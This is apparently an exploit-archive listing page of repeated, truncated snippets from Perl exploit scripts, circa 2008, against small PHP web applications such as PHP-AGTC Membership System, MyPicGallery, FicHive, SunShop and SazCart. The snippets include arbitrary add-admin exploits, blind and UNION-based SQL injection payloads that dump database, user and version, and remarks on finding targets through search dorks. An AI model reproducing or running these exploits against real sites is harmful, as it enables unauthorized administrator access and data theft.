PHP AGTC-Membership System <= 1.1a Arbitrary Add-Admin Exploit

Exploit for unknown platform in category web applications ============================================================== PHP AGTC-Membership System ; print "\nAdmin Usernamecreate's your admin username: "; chompmy $usr=; print "\nAdmin Passwordcreate's your admin password: "; chompmy $pwd=; my...

PHP-AGTC Membership System 1.1a - Arbitrary Add Admin

!/usr/bin/perl Note: adduser.php is accessable to a guest/any-user, but if you access through a browser you cant add admin, theres a hidden POST buried in the script, which contains the userlevel. Note: alot of sites run this script and they remove the "powered by" dork. Also you can get access t...

PHP-AGTC Membership System 1.1a - Arbitrary Add Admin

PHP-AGTC Membership System 1.1a - Arbitrary Add Admin !/usr/bin/perl Note: adduser.php is accessable to a guest/any-user, but if you access through a browser you cant add admin, theres a hidden POST buried in the script, which contains the userlevel. Note: alot of sites run this script and they...

MyPicGallery 1.0 - Arbitrary Add Admin

!/usr/bin/perl use strict; use LWP::UserAgent; print "-+-- MyPicGallery 1.0 Arbitrary Add-Admin Exploit --+-\n"; print "-+-- Discovered && Coded By: t0pP8uZz --+-\n"; print "-+-- Discovered On: 16 MAY 2008 / h4ck-y0u, milw0rm --+-\n"; print "-+-- MyPicGallery 1.0 Arbitrary Add-Admin Exploit...

MyPicGallery 1.0 - Arbitrary Add Admin

MyPicGallery 1.0 - Arbitrary Add Admin !/usr/bin/perl use strict; use LWP::UserAgent; print "-+-- MyPicGallery 1.0 Arbitrary Add-Admin Exploit --+-\n"; print "-+-- Discovered && Coded By: t0pP8uZz --+-\n"; print "-+-- Discovered On: 16 MAY 2008 / h4ck-y0u, milw0rm --+-\n"; print "-+-- MyPicGaller...

MyPicGallery 1.0 Arbitrary Add-Admin Exploit

Exploit for unknown platform in category web applications ============================================ MyPicGallery 1.0 Arbitrary Add-Admin Exploit ============================================ !/usr/bin/perl use strict; use LWP::UserAgent; print "-+-- MyPicGallery 1.0 Arbitrary Add-Admin Exploit...

MeltingIce File System 1.0 - Arbitrary Add User

!/usr/bin/perl use strict; use LWP::UserAgent; NOTE: user a pretty uniqe username, has the script will say successfull if a username aready existed! NOTE: exploit is mainly to get a nice quota, but it can also to be used to add a user primeraly because alot of these sites doesnt allow registratio...

FicHive 1.0 (category) Remote Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ========================================================= FicHive 1.0 category Remote Blind SQL Injection Exploit ========================================================= !/usr/bin/perl Usage: ./test.pl -url...

FicHive 1.0 - category Blind SQL Injection

FicHive 1.0 - category Blind SQL Injection !/usr/bin/perl Usage: ./test.pl -url "http://localhost/scriptpath/index.php?go=Fiction&category= use LWP::UserAgent; use Getopt::Long; use IO::Handle; use strict; $| = 1; my $defaultdebug = 0; my $defaultlength = 13; my $defaultmethod = "GET"; my...

FicHive 1.0 - 'category' Blind SQL Injection

!/usr/bin/perl Usage: ./test.pl -url "http://localhost/scriptpath/index.php?go=Fiction&category= use LWP::UserAgent; use Getopt::Long; use IO::Handle; use strict; $| = 1; my $defaultdebug = 0; my $defaultlength = 13; my $defaultmethod = "GET"; my $defaulttime = 0; my $version = "1.1"; my...

Archangel Weblog 0.90.02 (post_id) SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================== Archangel Weblog 0.90.02 postid SQL Injection Exploit ======================================================== !/usr/bin/perl -w Portal : Archangel Weblog 0.90.02 Download :...

Archangel Weblog 0.90.02 - post_id SQL Injection

Archangel Weblog 0.90.02 - postid SQL Injection !/usr/bin/perl -w Portal : Archangel Weblog 0.90.02 Download : http://www.archangelmgt.com/ArchangelWeblogv09002.zip exploit aported password crypted mgharba :d:d:d:d Founded & Exploited by : Stack-Terrorist v40 Contact: Ev!L = see down Greetz :...

SunShop Version 3.5.1 Remote Blind Sql Injection

!/usr/bin/perl -w use LWP::UserAgent; scripts : SunShop Version 3.5.1 Remote Blind Sql Injection scripts site : http://www.turnkeywebtools.com/sunshop/ Discovered By : irvian site : http://irvian.cn email : [email protected] print "rn+-----------------------------------------+rn"; print "+Bli...

Pet Grooming Management System 2.0 - Arbitrary Add Admin

Pet Grooming Management System 2.0 - Arbitrary Add Admin !/usr/bin/perl use strict; use LWP::UserAgent; print "-+- Pet Grooming Management System ; print "\nEnter Usernamecreate your admin username: "; chompmy $user=; print "\nEnter Passwordcreate your admin password: "; chompmy $pass=; my $ua =...

Advanced Image Hosting (AIH) 2.1 Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl -w Advanced Image Host Script Powered by: AIH = v2.1 - Remote SQL Inj Exploit dork:Powered by: AIH v2.1 exploit aported password not crypted exploit tatjibe password mdecrypté :d mgharba :d:d:d:d Founded by : Stack-Terrorist v40 Contact: Ev!L Gree...

sunshop-blindsql.txt

!/usr/bin/perl -w use LWP::UserAgent; scripts : SunShop Version 3.5.1 Remote Blind Sql Injection scripts site : http://www.turnkeywebtools.com/sunshop/ Discovered By : irvian site : http://irvian.cn email : [email protected] print "\r\n+-----------------------------------------+\r\n"; print...

joomlaxsstream-sql.txt

!/usr/bin/perl -w Joomla Component xsstream-dm 0.01 Beta Remote SQL Injection Founded by : Houssamix From H-T Team H-T Team HouSSaMix + ToXiC350 from MoroCCo Contact: Ev!L Greetz : CoNaN & HaCkeREgY & All friends & All muslims HaCkeRs : ScriptName: "Joomla" ComponentName: "xsstream-dm" 0.01 Beta...

sazcart-sql.txt

!/usr/bin/perl SazCart new or die; my $go=$cnx-get$victim."?details&prodid=1'+union+all+select+0,1,convertconcatdatabase,char58,user,char58,version,char,3,4/"; if $go-content = m/Price:.?\br/ms print "+ $1\n\n"; else print "\n- exploit failed\n";...

SazCart &lt;= 1.5.1 (prodid) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl SazCart = v1.5.1 details&prodid Remote SQL Injection Exploit HomePage: http://www.sazcart.com Discovered & Coded by JosS Contact: sys-projectathotmail.com Spanish Hackers Team / Sys - Project / EspSeC http://www.spanish-hackers.com rgod forever :D...

SazCart 1.5.1 - 'prodid' SQL Injection

!/usr/bin/perl SazCart new or die; my $go=$cnx-get$victim."?details&prodid=1'+union+all+select+0,1,convertconcatdatabase,char58,user,char58,version,char,3,4/"; if $go-content = m/Price:.?\br/ms print "+ $1\n\n"; else print "\n- exploit failed\n"; milw0rm.com 2008-05-09...